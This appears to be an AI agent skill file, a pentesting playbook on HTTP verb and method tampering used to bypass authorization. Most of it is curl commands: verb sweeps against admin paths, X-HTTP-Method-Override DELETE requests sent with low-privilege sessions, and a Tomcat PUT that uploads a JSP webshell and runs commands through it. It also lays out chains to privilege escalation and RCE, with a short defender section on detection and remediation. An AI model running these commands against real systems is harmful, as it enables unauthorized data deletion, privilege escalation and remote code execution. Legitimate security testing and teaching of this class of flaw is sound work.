| name | verb-tampering |
| description | HTTP verb/method tampering — auth bypass via HEAD/OPTIONS/arbitrary methods, X-HTTP-Method-Override, TRACE/PUT/DELETE exposure, framework routing flaws. |
| allowed-tools | Bash Read Write |
| metadata | {"subdomain":"execution","when_to_use":"HTTP verb tampering, method tampering, HEAD bypass, OPTIONS bypass, X-HTTP-Method-Override, X-Method-Override, TRACE, PUT, DELETE, PATCH, method-based authorization, BFLA via method","tags":"verb-tampering, method-tampering, auth-bypass, bfla","mitre_attack":"T1190"} |
HTTP Verb / Method Tampering
Authorization is enforced for GET/POST but not for HEAD, OPTIONS, PATCH, DELETE, PUT, TRACE, TRACK, or arbitrary verbs like FOO. Or the app respects X-HTTP-Method-Override and the WAF/auth filter does not. Or the framework routes any verb to the same handler while only the POST ACL rule exists. Severity is High to Critical when it grants admin-only actions or reads protected data.
1. Why it works
- Apache/nginx
Limit/LimitExcept rules in .htaccess often list only GET POST. Any other verb is unrestricted.
- Tomcat / JSP
<security-constraint><http-method>GET</http-method> only constrains the listed verbs (the famous "Tomcat verb tampering" class — CVE-2017-12615, CVE-2009-3548 family).
- API gateways enforce method-specific policies; the upstream service treats verbs identically.
- Spring
@RequestMapping without method= accepts every verb. @GetMapping/@PostMapping constrain, but generic mappings do not.
- Express.js
app.all(path, handler) answers every method.
- Framework method-override middleware (
methodOverride in Express, Rails _method=DELETE, X-HTTP-Method-Override in many) lets a POST become a DELETE after auth runs.
- Many WAFs ship rule sets keyed on
GET/POST only.
2. Detection — does the endpoint answer non-standard verbs?
for m in GET HEAD POST PUT PATCH DELETE OPTIONS TRACE TRACK CONNECT PROPFIND COPY MOVE LOCK UNLOCK MKCOL FOO; do
code=$(curl -sk -o /dev/null -w '%{http_code} %{size_download}' -X "$m" "http://<TARGET>/admin/users")
printf '%-10s -> %s\n' "$m" "$code"
done
for m in GET HEAD POST PUT PATCH DELETE OPTIONS; do
curl -sk -o /dev/null -w "%-7s %{http_code}\n" -X "$m" "http://<TARGET>/admin/secret"
done
HEAD is the highest-yield: per RFC 9110 it MUST be treated like GET minus the body, but servers diverge — middleware sometimes short-circuits auth on HEAD. Response headers and status leak data even with no body.
curl -sk -I -X HEAD "http://<TARGET>/admin/export.csv"
3. Method-override headers
The app overrides the real method with the value of a header after the WAF/auth has classified the request as POST (allowed) or GET (allowed).
for h in 'X-HTTP-Method-Override' 'X-HTTP-Method' 'X-Method-Override' 'X-Original-Method'; do
curl -sk -X POST -H "$h: DELETE" "http://<TARGET>/admin/users/1337" \
-o /dev/null -w "%-26s %{http_code}\n" -H "Cookie: session=$LOWPRIV"
done
curl -sk -X POST "http://<TARGET>/posts/42" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data '_method=DELETE' -b "session=$LOWPRIV"
curl -sk "http://<TARGET>/admin/delete?_method=DELETE&id=42" -b "session=$LOWPRIV"
4. Bypass patterns
| Pattern | Mechanic |
|---|
.htaccess Limit | <Limit GET POST>require valid-user</Limit> blocks GET/POST only — try HEAD, PUT, custom verb. |
Tomcat <http-method> constraint | The constraint applies only to listed methods. Use any other. |
Spring generic @RequestMapping("/path") | Every verb routes here. Author meant only POST. |
Express app.all / no method-guard | Same. |
| Method-override after auth | POST /low-priv allowed; X-HTTP-Method-Override: DELETE upgrades. |
_method=PATCH body field | Rails/Laravel/Symfony idiom; the auth layer saw a POST. |
WAF gating on GET/POST only | Send the payload as PATCH or FOO. |
| TRACE/TRACK enabled | XST — reflects request headers, used to read HttpOnly cookies in legacy XSS chains. |
WebDAV verbs (PROPFIND, COPY, MOVE, PUT, MKCOL) on IIS/Apache | Direct file upload / RCE on misconfigured WebDAV. |
OPTIONS * | Discloses enabled methods on the whole server: `curl -X OPTIONS -i http:///* |
5. Exploit PoCs
5.1 Admin action via HEAD bypass
curl -sk -I -X HEAD "http://<TARGET>/admin/cache/flush" -o /dev/null -w '%{http_code}\n'
curl -sk "http://<TARGET>/api/cache/size"
5.2 Method-override DELETE
curl -sk -X POST "http://<TARGET>/api/v1/users/9001" \
-H 'X-HTTP-Method-Override: DELETE' \
-H "Authorization: Bearer $LOWPRIV_JWT" -i
5.3 Tomcat PUT → JSP webshell (CVE-2017-12615 family)
curl -sk -X PUT "http://<TARGET>/uploads/shell.jsp/" \
--data-binary @shell.jsp -H 'Content-Type: application/octet-stream' -i
curl -sk "http://<TARGET>/uploads/shell.jsp?cmd=id"
5.4 OPTIONS leak + CORS pivot
curl -sk -X OPTIONS "http://<TARGET>/api/admin" -i | grep -iE 'allow|access-control-allow-methods'
5.5 TRACE / XST
curl -sk -X TRACE "http://<TARGET>/" -H 'X-Stolen: cookie-via-XSS' -i
5.6 Arbitrary verb
curl -sk -X FOO "http://<TARGET>/admin/users" -i
6. Chains
| Chain | Mechanic |
|---|
| BFLA / IDOR | Object scoping checked on GET, missing on DELETE/PUT — delete or modify other tenants' resources. |
| Privilege escalation | POST /users allowed → X-HTTP-Method-Override: PUT to overwrite role=admin. |
| Mass-assignment | PATCH accepted where POST is parameter-filtered — submit hidden fields. |
| WAF bypass | Whole rule sets attached only to GET/POST. Re-issue payload as PATCH. |
| File RCE | WebDAV PUT/PROPFIND/MOVE on IIS/Tomcat → write executable into web root. |
| XST | TRACE + reflected XSS → exfil HttpOnly cookies (now mostly mitigated by browsers, but still credible in custom clients). |
| OPSEC noise reduction | HEAD produces no response body — quieter scanning than GET. |
7. Tools
- Burp Suite — Repeater "Change request method", Intruder verb-payload list, HTTP Method Interchange extension.
nuclei -t http/misconfiguration/http-method-tampering* / http/misconfiguration/trace-method.yaml.
nikto -Tuning 6 — method/file checks.
httpx -methods GET,POST,PUT,DELETE,PATCH,OPTIONS,HEAD,TRACE -path /admin -mc 200,302.
davtest / cadaver for WebDAV.
ffuf -X PATCH etc. — fuzz every endpoint with each method.
8. Detection signatures (defenders)
| Signal | Source |
|---|
Non-standard verbs in access logs (PATCH, TRACE, FOO) | nginx / Apache logs |
X-HTTP-Method-Override header present and request body indicates state-change | WAF / reverse proxy logs |
OPTIONS requests with Origin from outside CORS allowlist returning 2xx | API gateway logs |
Successful HEAD on a GET-401 path | correlation rule |
Auth filter sees method POST, handler logs method DELETE | app telemetry |
TRACE/TRACK enabled at all | config audit |
Remediation: enforce auth before method routing; treat HEAD as GET for auth purposes; ignore method-override headers unless explicitly required; allowlist methods per route (405 everything else); disable TRACE/TRACK/unused WebDAV verbs at the server.
9. Decision gate
| Observation | Action |
|---|
| Verb sweep shows divergent status on protected path | Confirm with a state-changing PoC, escalate |
X-HTTP-Method-Override flips the action | Chain to BFLA/IDOR/mass-assignment |
| Only response-size difference, no auth bypass | Low — fold into recon |
TRACE echoes but no reflected XSS available | Note for chaining, do not over-report |
| PUT/WebDAV writes a file under web root | Critical, jump to RCE chain |
Cross-references
- BFLA / object-level auth:
skills/standard/exploit/web/bfla/SKILL.md
- Mass-assignment:
skills/standard/exploit/web/mass-assignment/SKILL.md
- HPP (sister parser-discrepancy class):
skills/standard/exploit/web/hpp/SKILL.md
- WAF bypass:
skills/standard/exploit/web/waf-bypass/SKILL.md
- File upload / WebDAV RCE:
skills/standard/exploit/web/file-upload/SKILL.md